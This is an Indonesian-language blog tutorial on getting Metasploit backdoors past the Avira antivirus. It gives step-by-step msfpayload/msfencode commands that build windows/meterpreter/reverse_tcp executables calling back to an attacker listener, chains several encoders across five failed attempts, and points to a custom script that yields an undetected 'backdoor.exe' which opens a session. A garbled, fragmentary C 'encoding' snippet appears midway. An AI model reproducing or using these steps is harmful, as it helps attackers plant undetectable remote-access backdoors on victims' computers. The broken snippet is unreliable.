CMetasploit dan Anti-Virus. Layaknya air dan minyak, mereka tidak bisa
disatukan. Selalu ada cara untuk saling menjatuhkan. Beberapa minggu
yang lalu, kita sudah menguji SMADAV dalam menangani backdoor yang
dibuat oleh metasploit, dan hasilnya. SMADAV gagal. Ini menjadi
pelajaran yang berarti untuk programmer anti-virus lokal, dimana
exploitasi bisa terjadi tanpa memanfaatkan vulnerability sebuah OS, atau
memanfaatkan celah port 445 yang terbuka.
Pada kesempatan kali ini, kita akan menguji AVIRA. AVIRA bukanlah produk
lokal, dan AVIRA menganut system update, dimana database AVIRA selalu
diperbaharui untuk mencegah virus baru melewati system pemindaian
mereka.
Langsung saja kita menuju tahap pengujian.
Preparation:
Attacker:
1. Metasploit
2. Apache 2
Victim:
1. AVIRA
Goal:
1. Buat payload dengan msfpayload, dan encode dengan msfencode untuk melewati system keamanan AVIRA
1. Buka terminal, lalu ubah work directory kita menjadi metasploit directory:
Command :
root@ASUS:~# cd /opt/metasploit/msf3/
Cek msfencode anda. Untuk bantuan, masukan perintah berikut:
Command :
root@ASUS:/opt/metasploit/msf3# ./msfencode -h
Untuk melihat daftar encoder yang dapat digunakan, masukan perintah berikut:
Command :
root@ASUS:/opt/metasploit/msf3# ./msfencode -l
Ok. Pastikan service apache sudah berjalan. Masukan perintah berikut:
Command :
root@ASUS:/opt/metasploit/msf3# /etc/init.d/apache2 start
Catatan:
Setiap payload yang kita buat, akan kita tempatkan pada directory
/var/www. Cobalah untuk menghindari system copy-paste ke VM-ware,
mengingat hal ini dapat menyebabkan VM-ware hanging/crash. Lalu
bagaimana agar kita dapat menguji payload kita untuk di-scan dengan
AVIRA? Mudah saja. VM-ware memiliki interface network khusus bernama
vmnet8, dan IP address anda adalah 172.16.60.1. Untuk memperoleh
payload, gunakan browser yang tersedia pada VM-ware anda, dalam tutorial
kali ini, saya menggunakan browser Mozilla Firefox. Anda juga bisa
menggunakan Internet Explorer. Masukan
http://172.16.60.1/nama-exploit-anda pada browser untuk memperoleh
payload anda.
PAYLOAD 1
Kali ini saya coba dengan payload standar dengan msfpayload, tanpa di-encode menggunakan msfencode.
Command :
root@ASUS:/opt/metasploit/msf3#
./msfpayload windows/meterpreter/reverse_tcp LHOST=172.16.60.1
LPORT=4444 X > /var/www/exploit1.exe
Keterangan:
LHOST = IP address anda
LPORT = PORT Listener anda
Catatan:
Selalu simpan payload kita pada direktori /var/www dan usahakan gunakan nama yang berbeda untuk setiap payload yang kita buat!
Hasil test:
GAGAL
PAYLOAD 2
Kegagalan pertama itu wajar. Mari kita buat payload lain kemudian kita encode dengan msfencode.
Command :
root@ASUS:/opt/metasploit/msf3#
./msfpayload windows/meterpreter/reverse_tcp LHOST=172.16.60.1
LPORT=4444 R | ./msfencode -e x86/shikata_ga_nai -t exe >
/var/www/exploit2.exe
Keterangan:
1. Saya menggunakan encoder x86/shikata_ga_nai, dan melakukan encoding sebanyak 1 kali.
Hasil test:
GAGAL
PAYLOAD 3
Jangan menyerah, kali ini kita akan buat encoder menggila!
Command :
root@ASUS:/opt/metasploit/msf3#
./msfpayload windows/meterpreter/reverse_tcp LHOST=172.16.60.1
LPORT=4444 R | ./msfencode -e x86/shikata_ga_nai -c 16 -b '\x00\xff' -t
exe > /var/www/exploit3.exe
Hasil:
GAGAL
PAYLOAD 4
Bagaimana jika kita gunakan 2 encoder? Shikata_ga_nai dan jmp_call_additive.
Command :
root@ASUS:/opt/metasploit/msf3#
./msfpayload windows/meterpreter/reverse_tcp LHOST=172.16.60.1
LPORT=4444 R | ./msfencode -e x86/shikata_ga_nai -c 4 -b -t raw |
./msfencode -e x86/jmp_call_additive -c 4 -t exe >
/var/www/exploit4.exe
Hasil:
GAGAL
PAYLOAD 5
Sekarang kita gunakan 3 encoder. Ini semakin gila [untuk beberapa orang]. Namun bagi saya tidak. =T
Kita akan gunakan Shikata_ga_nai, jmp_call_additive, dan call4_dword-xor.
Command :
root@ASUS:/opt/metasploit/msf3#
./msfpayload windows/meterpreter/reverse_tcp LHOST=172.16.60.1
LPORT=4444 R | ./msfencode -e x86/shikata_ga_nai -c 4 -b -t raw |
./msfencode -e x86/jmp_call_additive -c 4 -t raw | ./msfencode -e
x86/call4_dword_xor -c 4 -t exe > /var/www/exploit5.exe
Hasil:
GAGAL
Kelihatannya anti-virus kita cukup gigih dalam menangani payload yang
kita buat. Ok. Sekarang kita coba dengan metode yang agak gila. Dan
memang ini gila. Karena kita akan melakukan encoding manual tanpa
bantuan msfencode.
Konsep:
Kita akan melakukan encoding payload dengan bahasa pemrograman C.
Kurang lebih seperti ini payout payload kita:
s/+/ /g
s/buf = /unsigned char micro[]=/g
#include
unsigned char ufs[]=
(( i=1; i<=10000;i++ ))
s/$/"/
s/^/"/
int main(void) { ((void (*)())micro)();}
unsigned char tap[]=
(( i=1; i<=999999;i++ ))
s/$/"/
s/^/"/
Terlihat membingungkan? Jika anda merasa tidak sanggup mengikuti tahap
lanjut encoding, jangan tinggalkan halaman ini dulu. Saya akan berikan
cara yang jauh lebih mudah ketimbang melakukan encoding cara manual.
Saya telah mempersiapkan script untuk melakukan encoding ini. Anda bisa
download di sini.
Namun sebelumnya, anda harus mendownload file ini untuk membantu anda dalam melakukan encoding menggunakan bahasa C.
root@ASUS:~# apt-get install mingw32-runtime mingw-w64 mingw gcc-mingw32 mingw32-binutils
Setelah mendownload file vanish.sh, pindahkan file ini ke direktori metasploit, dan ubah modenya agar bisa dieksekusi.
Dalam tutorial kali ini, saya menggunakan vmware, sehingga interface
network saya adalah vmnet8. Sekarang saatnya menguji payload kita.
LAST PAYLOAD!
Command :
root@ASUS:/opt/metasploit/msf3# ./vanish.sh
Karena saya menggunakan VM-ware dalam test ini, jadi saya menggunakan
interface vmnet8. Jika anda menggunakan modem, maka pilih interface
ppp0, jika anda menggunakan wireless network, gunakan interface wlan0,
jika anda menggunakan wired connection, gunakan interface eth0.
Gunakan port 4444 sebagai port listener. Port listener bisa anda
tentukan sesuka hati, dengan syarat, jangan gunakan port yang sudah
digunakan oleh service lain, misalkan port 80 yang digunakan oleh
apache. Ini akan mengakibatkan metasploit tidak bisa melakukan listening
pada port tersebut.
Untuk jumlah seed, saya menyarankan untuk memasukan angka 7000, dan untuk jumlah encoding, masukan angka 14.
Tunggu sampai proses encoding selesai, hingga muncul tampilan metasploit seperti ini:
Berhasil. Payload kita dibuat dengan nama backdoor.exe pada folder
seclabs. Copy payload kita ke direktori /var/www dengan perintah
berikut:
Command :
root@ASUS:/opt/metasploit/msf3# cd seclabs/ && cp backdoor.exe /var/www/exploit6.exe
Kemudian kita uji dengan melakukan scanning anti-virus.
Hasil:
BERHASIL
Tidaklah sulit melewati AVIRA. Lalu, apakah file ini berfungsi
sebagaimana mestinya? Jalankan saja file tersebut, kemudian cek kembali
metasploit kita.
SUKSES
created by:
No comments:
Post a Comment